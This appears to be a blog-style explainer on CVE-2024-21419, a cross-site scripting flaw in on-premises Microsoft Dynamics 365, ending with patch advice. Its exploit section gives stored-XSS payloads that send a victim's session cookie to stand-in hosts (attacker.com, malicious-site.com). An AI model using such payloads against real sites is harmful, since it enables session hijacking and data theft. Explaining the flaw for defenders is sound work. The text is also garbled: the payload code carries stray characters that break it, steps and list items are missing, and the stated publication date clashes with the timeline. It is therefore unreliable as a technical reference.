CVE-2024-21419 - Inside the Microsoft Dynamics 365 (On-Premises) Cross-site Scripting Vulnerability

On February 13, 2024, Microsoft published a security advisory for CVE-2024-21419, a Cross-site Scripting (XSS) vulnerability affecting Microsoft Dynamics 365 (on-premises). This reading will break down what this means, how attackers can exploit it, and how you can stay safe. We’ll keep it simple and actionable, with code snippets and exclusive insights.

What is CVE-2024-21419?

CVE-2024-21419 is classified as a Cross-site Scripting (XSS) vulnerability in Microsoft Dynamics 365 (on-premises). This vulnerability lets attackers inject malicious scripts into web pages viewed by users in the Dynamics 365 platform.

CVSS Score: 6.1 (Medium)

Read the official advisory here:
Microsoft Security Update Guide – CVE-2024-21419

How Does the Vulnerability Work?

XSS vulnerabilities happen when a web app accepts user input and displays it back to users without proper validation or escaping. In this case, Dynamics 365 could allow attackers to craft URLs or input fields containing malicious JavaScript that execute on other users’ sessions.

Example Exploit Scenario

Let’s see how a simple stored XSS attack could look in Dynamics 365. Note: This is for educational purposes only.

Suppose there’s a “Description” field in a record. An attacker might submit

<script>fetch('https://attacker.com/steal?cookie='; + document.cookie)</script>

2. Vulnerable Rendering

If Dynamics 365 does not sanitize HTML in the Description field, a user viewing this record would trigger the script, sending their session cookie to the attacker.

Here’s a simplified version of how this might play out

// Victim views a Dynamics 365 record
// Malicious script gets executed in their browser

// The injected JavaScript
<script>
  fetch('https://malicious-site.com?cookie='; + document.cookie);
</script>

// Attacker receives sensitive cookies or authentication tokens

Sensitive CRM data

- Perform actions as the logged-in user (like creating/deleting records)

Download and install the security update ASAP:

Download Center for Dynamics 365

Additional References

- Microsoft Security Advisory
- OWASP Cross-site Scripting (XSS) Explained
- Dynamics 365 Security Best Practices

Final Words

CVE-2024-21419 is a real threat for organizations using Microsoft Dynamics 365 (on-premises). XSS bugs are often used for phishing, data theft, or full account takeover. While Microsoft has issued a patch, admins and IT teams need to act fast and educate users.

If you manage Dynamics 365 and haven't patched yet, stop reading and do it now.

Stay safe and keep your data secure!

> *For more exclusive security write-ups and actionable guides, stay tuned!*

Timeline

Published on: 03/12/2024 17:15:50 UTC
Last modified on: 03/12/2024 17:46:17 UTC